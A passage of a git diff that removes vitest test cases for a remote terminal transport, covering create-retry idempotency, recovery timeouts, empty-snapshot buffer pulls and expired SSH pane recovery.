-        emitSnapshot(streamId, 'actual owner image B')
-        expect(onReplayData.mock.calls).toEqual([
-          ['actual owner image B', { carriesNormalBuffer: true }]
-        ])
-        expect(onConnect).toHaveBeenCalled()
-        expect(inputFrameTexts()).toEqual([])
-        expect(runtimeCall).not.toHaveBeenCalledWith(
-          expect.objectContaining({ method: 'terminal.resolvePane' })
-        )
-      } finally {
-        transport.destroy?.()
-      }
-    }
-  )
-})
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-outcome-recovery.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-outcome-recovery.test.ts
deleted file mode 100644
index ab170f4fdcb..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-outcome-recovery.test.ts
+++ /dev/null
@@ -1,374 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-const appStore = vi.hoisted(() => ({
-  getState: vi.fn(() => {
-    throw new Error('These transport fixtures must not read app-store ownership')
-  })
-}))
-
-vi.mock('@/store/index', () => ({ useAppStore: { getState: appStore.getState } }))
-
-afterEach(() => {
-  expect(appStore.getState).not.toHaveBeenCalled()
-})
-
-import '../../../../../../shared/protocol-version'
-import { TERMINAL_CREATE_IDEMPOTENCY_RUNTIME_CAPABILITY } from '../../../../../../shared/terminal/runtime-policy/terminal-runtime-capabilities'
-import { createRemoteRuntimeTransportMocks } from '../remote/remote-runtime-pty-transport-test-harness'
-import type { MultiplexSubscriptionCallbacks } from '../remote/remote-runtime-pty-transport-stream-fixtures'
-import './recovery/remote-runtime-pty-recovery-state'
-import { REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS } from './recovery/remote-runtime-pty-recovery-limits'
-
-let subscriptionCallbacks: MultiplexSubscriptionCallbacks = null
-let resolvedPaneHandle = 'terminal-1'
-
-const { runtimeCall, resetRemoteRuntimeTransport } = createRemoteRuntimeTransportMocks({
-  getCallbacks: () => subscriptionCallbacks,
-  setCallbacks: (callbacks) => {
-    subscriptionCallbacks = callbacks
-  },
-  getResolvedPaneHandle: () => resolvedPaneHandle,
-  setResolvedPaneHandle: (handle) => {
-    resolvedPaneHandle = handle
-  }
-})
-
-describe('createRemoteRuntimePtyTransport', () => {
-  beforeEach(() => {
-    resetRemoteRuntimeTransport()
-  })
-
-  it('retries failed section trust negotiation before creating the agent with its owner', async () => {
-    vi.useFakeTimers()
-    try {
-      let reachable = false
-      runtimeCall.mockImplementation(async (args: { method: string }) => {
-        if (args.method === 'status.get') {
-          if (!reachable) {
-            throw Object.assign(new Error('Timed out waiting for the remote Orca runtime.'), {
-              code: 'runtime_timeout'
-            })
-          }
-          return {
-            ok: true,
-            result: {
-              runtimeProtocolVersion: 3,
-              minCompatibleRuntimeClientVersion: 2,
-              capabilities: ['agent-session.host-authority.v1', 'agent-session.trust-worktree.v1']
-            }
-          }
-        }
-        return { ok: true, result: { terminal: { handle: 'section-agent' } } }
-      })
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'folder-x',
-        trustWorktreeId: 'worktree-y',
-        launchAgent: 'claude'
-      })
-      try {
-        await transport.connect({ url: '', callbacks: {} })
-        expect(runtimeCall.mock.calls.every(([args]) => args.method === 'status.get')).toBe(true)
-
-        reachable = true
-        await vi.waitFor(() => expect(transport.getPtyId()).toBe('remote:env-1@@section-agent'))
-        const creates = runtimeCall.mock.calls.filter(
-          ([args]) => args.method === 'terminal.createAgentSession'
-        )
-        expect(creates).toHaveLength(1)
-        expect(creates[0][0].params).toMatchObject({
-          worktree: 'id:folder-x',
-          trustWorktreeId: 'worktree-y'
-        })
-      } finally {
-        transport.destroy?.()
-      }
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('retries an unknown terminal-create outcome exactly once with the same mutation id', async () => {
-    let createCalls = 0
-    runtimeCall.mockImplementation(async (args: { method: string; params?: unknown }) => {
-      if (args.method === 'status.get') {
-        return {
-          ok: true,
-          result: { capabilities: [TERMINAL_CREATE_IDEMPOTENCY_RUNTIME_CAPABILITY] }
-        }
-      }
-      if (args.method === 'terminal.create') {
-        createCalls += 1
-        if (createCalls === 1) {
-          throw Object.assign(new Error('Timed out waiting for the remote Orca runtime.'), {
-            code: 'runtime_timeout'
-          })
-        }
-        return { ok: true, result: { terminal: { handle: 'terminal-once' } } }
-      }
-      return { ok: true, result: {} }
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onPtySpawn = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1',
-      onPtySpawn
-    })
-
-    await transport.connect({ url: '', callbacks: {} })
-
-    const creates = runtimeCall.mock.calls
-      .map(
-        ([args]) =>
-          args as {
-            method: string
-            params?: { clientMutationId?: string; reconcileExisting?: boolean }
-          }
-      )
-      .filter((args) => args.method === 'terminal.create')
-    expect(creates).toHaveLength(2)
-    expect(creates[0].params?.clientMutationId).toMatch(/\S+/)
-    expect(creates[1].params?.clientMutationId).toBe(creates[0].params?.clientMutationId)
-    expect(creates[0].params?.reconcileExisting).toBeUndefined()
-    expect(creates[1].params?.reconcileExisting).toBe(true)
-    expect(onPtySpawn).toHaveBeenCalledTimes(1)
-    expect(transport.getPtyId()).toBe('remote:env-1@@terminal-once')
-    transport.destroy?.()
-  })
-
-  it('clips a reconciled create timeout to the budget left after a slow capability probe', async () => {
-    vi.useFakeTimers()
-    try {
-      const startedAt = Date.now()
-      let createCalls = 0
-      runtimeCall.mockImplementation(async (args: { method: string }) => {
-        if (args.method === 'status.get') {
-          vi.setSystemTime(startedAt + REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS - 1_000)
-          return {
-            ok: true,
-            result: { capabilities: [TERMINAL_CREATE_IDEMPOTENCY_RUNTIME_CAPABILITY] }
-          }
-        }
-        if (args.method === 'terminal.create') {
-          createCalls += 1
-          if (createCalls === 1) {
-            throw Object.assign(new Error('Timed out waiting for the remote Orca runtime.'), {
-              code: 'runtime_timeout'
-            })
-          }
-          return { ok: true, result: { terminal: { handle: 'terminal-reconciled' } } }
-        }
-        return { ok: true, result: {} }
-      })
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const transport = createRemoteRuntimePtyTransport('env-1', { worktreeId: 'wt-1' })
-
-      const connect = transport.connect({ url: '', callbacks: {} })
-      await vi.advanceTimersByTimeAsync(250)
-      await connect
-
-      const createRequests = runtimeCall.mock.calls
-        .map(([args]) => args as { method: string; timeoutMs: number })
-        .filter((args) => args.method === 'terminal.create')
-      expect(createRequests).toHaveLength(2)
-      expect(createRequests[1].timeoutMs).toBe(1_000)
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('does not retry an unknown create outcome against an older runtime', async () => {
-    runtimeCall.mockImplementation(async (args: { method: string }) => {
-      if (args.method === 'status.get') {
-        return { ok: true, result: { capabilities: [] } }
-      }
-      throw Object.assign(new Error('Timed out waiting for the remote Orca runtime.'), {
-        code: 'runtime_timeout'
-      })
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onError = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', { worktreeId: 'wt-1' })
-
-    await transport.connect({ url: '', callbacks: { onError } })
-
-    expect(
-      runtimeCall.mock.calls.filter(([args]) => args.method === 'terminal.create')
-    ).toHaveLength(1)
-    expect(onError).not.toHaveBeenCalled()
-    expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-    transport.destroy?.()
-  })
-
-  it('surfaces an authoritative capability-probe failure after an unknown create outcome', async () => {
-    runtimeCall.mockImplementation(async (args: { method: string }) => {
-      if (args.method === 'status.get') {
-        throw Object.assign(new Error('Remote runtime pairing credentials expired.'), {
-          code: 'unauthorized'
-        })
-      }
-      throw Object.assign(new Error('Timed out waiting for the remote Orca runtime.'), {
-        code: 'runtime_timeout'
-      })
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onError = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', { worktreeId: 'wt-1' })
-
-    await transport.connect({ url: '', callbacks: { onError } })
-
-    expect(onError).toHaveBeenCalledWith('Remote runtime pairing credentials expired.')
-    expect(
-      runtimeCall.mock.calls.filter(([args]) => args.method === 'terminal.create')
-    ).toHaveLength(1)
-    transport.destroy?.()
-  })
-
-  it('stops unknown terminal-create recovery at the cutoff and remains manually retryable', async () => {
-    vi.useFakeTimers()
-    try {
-      let reachable = false
-      let statusTimesOut = false
-      runtimeCall.mockImplementation(async (args: { method: string; timeoutMs: number }) => {
-        if (args.method === 'status.get') {
-          if (statusTimesOut) {
-            return new Promise((_, reject) => {
-              setTimeout(() => {
-                reject(
-                  Object.assign(new Error('Timed out waiting for the remote Orca runtime.'), {
-                    code: 'runtime_timeout'
-                  })
-                )
-              }, args.timeoutMs)
-            })
-          }
-          return {
-            ok: true,
-            result: { capabilities: [TERMINAL_CREATE_IDEMPOTENCY_RUNTIME_CAPABILITY] }
-          }
-        }
-        if (args.method === 'terminal.create' && reachable) {
-          return { ok: true, result: { terminal: { handle: 'terminal-recovered' } } }
-        }
-        throw Object.assign(new Error('Timed out waiting for the remote Orca runtime.'), {
-          code: 'runtime_timeout'
-        })
-      })
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const onError = vi.fn()
-      const recoveryStates: string[] = []
-      const transport = createRemoteRuntimePtyTransport('env-1', { worktreeId: 'wt-1' })
-
-      const connect = transport.connect({
-        url: '',
-        callbacks: {
-          onError,
-          onRecoveryStateChange: (state) => recoveryStates.push(state.phase)
-        }
-      })
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS)
-      await connect
-      const callsAtCutoff = runtimeCall.mock.calls.length
-
-      expect(onError).not.toHaveBeenCalled()
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-      expect(recoveryStates).toContain('recovering')
-      expect(runtimeCall.mock.calls.some(([args]) => args.method === 'terminal.create')).toBe(true)
-      await vi.advanceTimersByTimeAsync(5 * 60_000)
-      expect(runtimeCall).toHaveBeenCalledTimes(callsAtCutoff)
-
-      statusTimesOut = true
-      expect(transport.retryRecovery?.()).toBe(true)
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS)
-      const callsAtManualCutoff = runtimeCall.mock.calls.length
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-      await vi.advanceTimersByTimeAsync(5 * 60_000)
-      expect(runtimeCall).toHaveBeenCalledTimes(callsAtManualCutoff)
-
-      statusTimesOut = false
-      reachable = true
-      expect(transport.retryRecovery?.()).toBe(true)
-      await vi.waitFor(() => expect(transport.getPtyId()).toBe('remote:env-1@@terminal-recovered'))
-      const createRequests = runtimeCall.mock.calls
-        .map(([args]) => args as { method: string; params?: { reconcileExisting?: boolean } })
-        .filter((args) => args.method === 'terminal.create')
-      expect(createRequests[0].params?.reconcileExisting).toBeUndefined()
-      expect(createRequests.slice(1).every((args) => args.params?.reconcileExisting === true)).toBe(
-        true
-      )
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('replays an ambiguous structured agent create without downgrading after cutoff', async () => {
-    vi.useFakeTimers()
-    try {
-      let reachable = false
-      runtimeCall.mockImplementation(async (args: { method: string }) => {
-        if (args.method === 'status.get') {
-          return {
-            ok: true,
-            result: {
-              runtimeProtocolVersion: 3,
-              minCompatibleRuntimeClientVersion: 2,
-              capabilities: ['agent-session.host-authority.v1']
-            }
-          }
-        }
-        if (args.method === 'terminal.createAgentSession' && reachable) {
-          return {
-            ok: true,
-            result: {
-              disposition: 'replayed',
-              terminal: { handle: 'terminal-agent-recovered' }
-            }
-          }
-        }
-        throw Object.assign(new Error('Timed out waiting for the remote Orca runtime.'), {
-          code: 'runtime_timeout'
-        })
-      })
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'tab-1',
-        leafId: 'pane:1',
-        launchAgent: 'codex'
-      })
-
-      const connect = transport.connect({ url: '', callbacks: {} })
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS)
-      await connect
-
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-      const initialCreates = runtimeCall.mock.calls
-        .map(([args]) => args as { method: string; params?: { clientOperationId?: string } })
-        .filter((args) => args.method === 'terminal.createAgentSession')
-      expect(initialCreates.length).toBeGreaterThan(0)
-      const operationId = initialCreates[0].params?.clientOperationId
-      expect(operationId).toMatch(/\S+/)
-
-      reachable = true
-      expect(transport.retryRecovery?.()).toBe(true)
-      await vi.waitFor(() =>
-        expect(transport.getPtyId()).toBe('remote:env-1@@terminal-agent-recovered')
-      )
-
-      const allCreates = runtimeCall.mock.calls
-        .map(([args]) => args as { method: string; params?: { clientOperationId?: string } })
-        .filter((args) => args.method === 'terminal.createAgentSession')
-      expect(allCreates.every((args) => args.params?.clientOperationId === operationId)).toBe(true)
-      expect(runtimeCall.mock.calls.some(([args]) => args.method === 'terminal.create')).toBe(false)
-      expect(runtimeCall.mock.calls.filter(([args]) => args.method === 'status.get')).toHaveLength(
-        1
-      )
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-empty-initial-snapshot.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-empty-initial-snapshot.test.ts
deleted file mode 100644
index 919a42c9ce2..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-empty-initial-snapshot.test.ts
+++ /dev/null
@@ -1,184 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { createRemoteRuntimeTransportMocks } from '../remote/remote-runtime-pty-transport-test-harness'
-import type { MultiplexSubscriptionCallbacks } from '../remote/remote-runtime-pty-transport-stream-fixtures'
-import { REMOTE_TERMINAL_SNAPSHOT_TOO_LARGE } from '../../../../runtime/hosted-terminals/snapshots/remote-terminal-snapshot-policy'
-import {
-  TerminalStreamOpcode,
-  encodeTerminalStreamJson
-} from '../../../../../../shared/terminal/stream/terminal-stream-protocol'
-
-const appStore = vi.hoisted(() => ({
-  getState: vi.fn(() => {
-    throw new Error('These transport fixtures must not read app-store ownership')
-  })
-}))
-
-vi.mock('@/store/index', () => ({ useAppStore: { getState: appStore.getState } }))
-
-afterEach(() => {
-  expect(appStore.getState).not.toHaveBeenCalled()
-})
-
-let subscriptionCallbacks: MultiplexSubscriptionCallbacks = null
-let resolvedPaneHandle = 'terminal-1'
-
-const {
-  runtimeCall,
-  subscriptionSendBinary,
-  latestSubscribePayload,
-  emitOutput,
-  emitSnapshot,
-  emitSnapshotFrame,
-  resetRemoteRuntimeTransport
-} = createRemoteRuntimeTransportMocks({
-  getCallbacks: () => subscriptionCallbacks,
-  setCallbacks: (callbacks) => {
-    subscriptionCallbacks = callbacks
-  },
-  getResolvedPaneHandle: () => resolvedPaneHandle,
-  setResolvedPaneHandle: (handle) => {
-    resolvedPaneHandle = handle
-  }
-})
-
-function subscribed(streamId: number): void {
-  subscriptionCallbacks?.onResponse({
-    ok: true,
-    result: { type: 'subscribed', streamId, capabilities: { outputPause: 1 } }
-  })
-}
-
-type AttachMode = 'attach' | 'connect-reattach' | 'connect-spawn'
-
-async function attachTransport(mode: AttachMode) {
-  const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-  const onReplayData = vi.fn()
-  const onStreamRecovered = vi.fn()
-  const onConnect = vi.fn()
-  const onError = vi.fn()
-  const callbacks = { onReplayData, onStreamRecovered, onConnect, onError }
-  const transport = createRemoteRuntimePtyTransport('env-1', {
-    worktreeId: 'wt-1',
-    tabId: 'tab-1',
-    leafId: 'pane:1'
-  })
-  if (mode === 'attach') {
-    // A pane restored after a client restart attaches to the host handle it persisted.
-    transport.attach({
-      existingPtyId: 'remote:env-1@@terminal-1',
-      cols: 152,
-      rows: 42,
-      callbacks
-    })
-  } else {
-    const fallback = runtimeCall.getMockImplementation()
-    runtimeCall.mockImplementation(async (request: { method: string }) =>
-      request.method === 'terminal.create'
-        ? {
-            ok: true,
-            result: {
-              terminal: {
-                handle: 'terminal-1',
-                isReattach: mode === 'connect-reattach'
-              }
-            }
-          }
-        : fallback?.(request)
-    )
-    await transport.connect({ url: '', callbacks })
-  }
-  await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-  return {
-    transport,
-    streamId: latestSubscribePayload().streamId,
-    ...callbacks
-  }
-}
-
-// Idle agents send no new paint; imageless initial attach must pull retained host content instead of leaving a cursor-only pane (#18464/#21208/#23884).
-describe('remote pane whose first attach replays no image', () => {
-  beforeEach(() => {
-    resetRemoteRuntimeTransport()
-  })
-
-  it.each(['attach', 'connect-reattach'] as const)(
-    'pulls the retained buffer when the initial pushed snapshot is empty (%s)',
-    async (mode) => {
-      const { transport, streamId, onReplayData, onStreamRecovered, onConnect } =
-        await attachTransport(mode)
-
-      emitSnapshot(streamId, '')
-      subscribed(streamId)
-
-      await vi.waitFor(() => expect(onConnect).toHaveBeenCalledTimes(1))
-      expect(onReplayData).not.toHaveBeenCalled()
-      expect(onStreamRecovered).toHaveBeenCalledTimes(1)
-      transport.destroy?.()
-    }
-  )
-
-  it('pulls the retained buffer when the initial image holds only modes and a cursor', async () => {
-    const { transport, streamId, onReplayData, onStreamRecovered, onConnect } =
-      await attachTransport('attach')
-
-    // A host model seeded only by bytes since attach: bracketed paste, cursor home, cursor shown.
-    emitSnapshot(streamId, '\x1b[?2004h\x1b[H\x1b[?25h')
-    subscribed(streamId)
-
-    await vi.waitFor(() => expect(onConnect).toHaveBeenCalledTimes(1))
-    // Still replayed so its modes apply; the pull then supplies the screen.
-    expect(onReplayData).toHaveBeenCalledTimes(1)
-    expect(onStreamRecovered).toHaveBeenCalledTimes(1)
-    transport.destroy?.()
-  })
-
-  it('pulls the retained buffer when the initial snapshot exceeded the replay limit', async () => {
-    const { transport, streamId, onReplayData, onStreamRecovered, onConnect, onError } =
-      await attachTransport('attach')
-
-    emitSnapshotFrame(
-      streamId,
-      TerminalStreamOpcode.SnapshotStart,
-      encodeTerminalStreamJson({ kind: 'scrollback' })
-    )
-    const chunk = new Uint8Array(1024 * 1024).fill(0x61)
-    for (let i = 0; i < 3; i += 1) {
-      emitSnapshotFrame(streamId, TerminalStreamOpcode.SnapshotChunk, chunk)
-    }
-    emitSnapshotFrame(streamId, TerminalStreamOpcode.SnapshotEnd, new Uint8Array())
-    subscribed(streamId)
-
-    await vi.waitFor(() => expect(onConnect).toHaveBeenCalledTimes(1))
-    expect(onReplayData).not.toHaveBeenCalled()
-    expect(onError).not.toHaveBeenCalledWith(REMOTE_TERMINAL_SNAPSHOT_TOO_LARGE)
-    expect(onStreamRecovered).toHaveBeenCalledTimes(1)
-    transport.destroy?.()
-  })
-
-  it('does not pull again when the initial snapshot carried the screen', async () => {
-    const { transport, streamId, onReplayData, onStreamRecovered, onConnect } =
-      await attachTransport('attach')
-
-    emitSnapshot(streamId, 'IDLE_AGENT_PROMPT')
-    subscribed(streamId)
-
-    await vi.waitFor(() => expect(onConnect).toHaveBeenCalledTimes(1))
-    expect(onReplayData.mock.calls.map((call) => call[0])).toEqual(['IDLE_AGENT_PROMPT'])
-    expect(onStreamRecovered).not.toHaveBeenCalled()
-    emitOutput(streamId, 'LIVE')
-    expect(onStreamRecovered).not.toHaveBeenCalled()
-    transport.destroy?.()
-  })
-
-  it('does not pull for a terminal this pane just created', async () => {
-    const { transport, streamId, onStreamRecovered, onConnect } =
-      await attachTransport('connect-spawn')
-
-    emitSnapshot(streamId, '')
-    subscribed(streamId)
-
-    await vi.waitFor(() => expect(onConnect).toHaveBeenCalledTimes(1))
-    expect(onStreamRecovered).not.toHaveBeenCalled()
-    transport.destroy?.()
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-expired-pane-recovery.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-expired-pane-recovery.test.ts
index cec95b93536..e2c1cafce43 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-expired-pane-recovery.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-expired-pane-recovery.test.ts
@@ -18,7 +18,6 @@ let subscriptionCallbacks: MultiplexSubscriptionCallbacks = null
 let resolvedPaneHandle = 'terminal-1'
 
 const {
-  runtimeCall,
   subscriptionSendBinary,
   latestSubscribePayload,
   emitSnapshot,
@@ -39,226 +38,6 @@ describe('createRemoteRuntimePtyTransport', () => {
     resetRemoteRuntimeTransport()
   })
 
-  it('still retires the regular TUI surface after an explicit terminal exit', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onPtyExit = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-tab-1',
-      leafId: 'pane:1',
-      onPtyExit
-    })
-
-    resolvedPaneHandle = 'terminal-exited'
-    transport.attach({
-      existingPtyId: 'remote:env-1@@terminal-exited',
-      cols: 80,
-      rows: 24,
-      callbacks: {}
-    })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-
-    subscriptionCallbacks?.onResponse({
-      ok: true,
-      result: {
-        type: 'error',
-        streamId: latestSubscribePayload().streamId,
-        message: 'terminal_exited'
-      }
-    })
-
-    expect(onPtyExit).toHaveBeenCalledWith('remote:env-1@@terminal-exited')
-    expect(transport.getPtyId()).toBeNull()
-    expect(transport.isConnected()).toBe(false)
-    expect(transport.getRecoveryState?.().phase).toBe('ended')
-  })
-
-  it('asks the HUB to recover an expired SSH pane and rebinds the host identity', async () => {
-    const onError = vi.fn()
-    const onPtyExit = vi.fn()
-    const onPtyRebind = vi.fn()
-    resolvedPaneHandle = 'terminal-expired'
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('hub-env', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-host-tab-1',
-      leafId: 'pane:1',
-      onPtyExit,
-      onPtyRebind
-    })
-    transport.attach({
-      existingPtyId: 'remote:hub-env@@terminal-expired',
-      cols: 80,
-      rows: 24,
-      callbacks: { onError }
-    })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    runtimeCall.mockImplementation(async (args: { method: string }) => {
-      if (args.method === 'terminal.recoverPane') {
-        return {
-          ok: true,
-          result: {
-            terminal: {
-              handle: 'terminal-replacement',
-              tabId: 'host-tab-1',
-              leafId: 'pane:1',
-              ptyId: 'ssh-private-pty',
-              worktreeId: 'wt-1'
-            }
-          }
-        }
-      }
-      return { ok: true, result: {} }
-    })
-
-    subscriptionCallbacks?.onResponse({
-      ok: true,
-      result: {
-        type: 'error',
-        streamId: latestSubscribePayload().streamId,
-        message: 'SSH_SESSION_EXPIRED: relay identity changed'
-      }
-    })
-
-    await vi.waitFor(() =>
-      expect(transport.getPtyId()).toBe('remote:hub-env@@terminal-replacement')
-    )
-    expect(runtimeCall).toHaveBeenCalledWith({
-      selector: 'hub-env',
-      method: 'terminal.recoverPane',
-      params: {
-        paneKey: 'host-tab-1:pane:1',
-        worktreeId: 'wt-1',
-        expectedTerminal: 'terminal-expired'
-      },
-      timeoutMs: 15_000
-    })
-    expect(latestSubscribePayload()).toMatchObject({ terminal: 'terminal-replacement' })
-    expect(onPtyRebind).toHaveBeenCalledWith(
-      'remote:hub-env@@terminal-replacement',
-      'remote:hub-env@@terminal-expired'
-    )
-    expect(onPtyExit).not.toHaveBeenCalled()
-    expect(onError).not.toHaveBeenCalled()
-  })
-
-  it('does not recover a pane whose relay reply was an identity mismatch', async () => {
-    // Owner mismatch proves another pane’s PTY is live, not this one absent; bare expiry matching would cold-resume a duplicate despite main’s refusal.
-    const onError = vi.fn()
-    resolvedPaneHandle = 'terminal-mismatch'
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('hub-env', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-host-tab-1',
-      leafId: 'pane:1'
-    })
-    transport.attach({
-      existingPtyId: 'remote:hub-env@@terminal-mismatch',
-      callbacks: { onError }
-    })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    runtimeCall.mockClear()
-
-    subscriptionCallbacks?.onResponse({
-      ok: true,
-      result: {
-        type: 'error',
-        streamId: latestSubscribePayload().streamId,
-        message: 'SSH_SESSION_EXPIRED: pty-1 SSH_PTY_IDENTITY_MISMATCH'
-      }
-    })
-
-    await vi.waitFor(() => expect(onError).toHaveBeenCalled())
-    expect(runtimeCall).not.toHaveBeenCalledWith(
-      expect.objectContaining({ method: 'terminal.recoverPane' })
-    )
-    expect(runtimeCall).not.toHaveBeenCalledWith(
-      expect.objectContaining({ method: 'terminal.create' })
-    )
-    expect(transport.getPtyId()).toBe('remote:hub-env@@terminal-mismatch')
-  })
-
-  it('fails closed when an older HUB cannot recover an expired SSH pane', async () => {
-    const onError = vi.fn()
-    resolvedPaneHandle = 'terminal-expired'
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('legacy-hub', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-host-tab-1',
-      leafId: 'pane:1'
-    })
-    transport.attach({
-      existingPtyId: 'remote:legacy-hub@@terminal-expired',
-      callbacks: { onError }
-    })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    runtimeCall.mockImplementation(async (args: { method: string }) => {
-      if (args.method === 'terminal.recoverPane') {
-        return {
-          ok: false,
-          error: { code: 'method_not_found', message: 'Unknown method: terminal.recoverPane' }
-        }
-      }
-      return { ok: true, result: {} }
-    })
-
-    subscriptionCallbacks?.onResponse({
-      ok: true,
-      result: {
-        type: 'error',
-        streamId: latestSubscribePayload().streamId,
-        message: 'SSH_SESSION_EXPIRED: relay identity changed'
-      }
-    })
-
-    await vi.waitFor(() =>
-      expect(onError).toHaveBeenCalledWith('Unknown method: terminal.recoverPane')
-    )
-    expect(runtimeCall).not.toHaveBeenCalledWith(
-      expect.objectContaining({ method: 'terminal.create' })
-    )
-    expect(transport.getPtyId()).toBe('remote:legacy-hub@@terminal-expired')
-    expect(transport.isConnected()).toBe(false)
-  })
-
-  it("names a held recovery's stopped WSL distro in readable copy, not the raw hold code", async () => {
-    const onError = vi.fn()
-    resolvedPaneHandle = 'terminal-expired'
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    createRemoteRuntimePtyTransport('older-hub', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-host-tab-1',
-      leafId: 'pane:1'
-    }).attach({
-      existingPtyId: 'remote:older-hub@@terminal-expired',
-      callbacks: { onError }
-    })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    runtimeCall.mockImplementation(async (args: { method: string }) =>
-      args.method === 'terminal.recoverPane'
-        ? {
-            ok: false,
-            error: { code: 'runtime_error', message: 'terminal_held_wsl_distro_stopped:Ubuntu' }
-          }
-        : { ok: true, result: {} }
-    )
-
-    subscriptionCallbacks?.onResponse({
-      ok: true,
-      result: {
-        type: 'error',
-        streamId: latestSubscribePayload().streamId,
-        message: 'SSH_SESSION_EXPIRED: relay identity changed'
-      }
-    })
-
-    await vi.waitFor(() =>
-      expect(onError).toHaveBeenCalledWith(
-        "The WSL distro Ubuntu is stopped, so Orca didn't start this terminal. Start the distro, then try again."
-      )
-    )
-  })
-
   it('ignores stale stream end after reattaching a newer remote terminal', async () => {
     const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
     const onPtyExit = vi.fn()
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-healthy-link-reattach.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-healthy-link-reattach.test.ts
index 7aa82476efb..2190efb447b 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-healthy-link-reattach.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-healthy-link-reattach.test.ts
@@ -99,62 +99,6 @@ describe('remote runtime PTY reattach on a healthy link', () => {
     return transport
   }
 
-  it('reattaches a handle the host still reports ready within seconds of a stream end', async () => {
-    const transport = await attachHostMirror()
-    runtimeCall.mockImplementation(async (args: { method: string }) =>
-      args.method === 'session.tabs.list' || args.method === 'session.tabs.activate'
-        ? readyHostSessionInventoryResponse('terminal-1')
-        : { ok: true, result: {} }
-    )
-
-    endLatestStream()
-    await vi.advanceTimersByTimeAsync(2_000)
-
-    expect(subscribedTerminalHandles()).toEqual(['terminal-1', 'terminal-1'])
-    emitSnapshot(latestSubscribePayload().streamId, 'reattached')
-    expect(transport.isConnected()).toBe(true)
-    expect(transport.getRecoveryState?.().phase).toBe('connected')
-    transport.destroy?.()
-  })
-
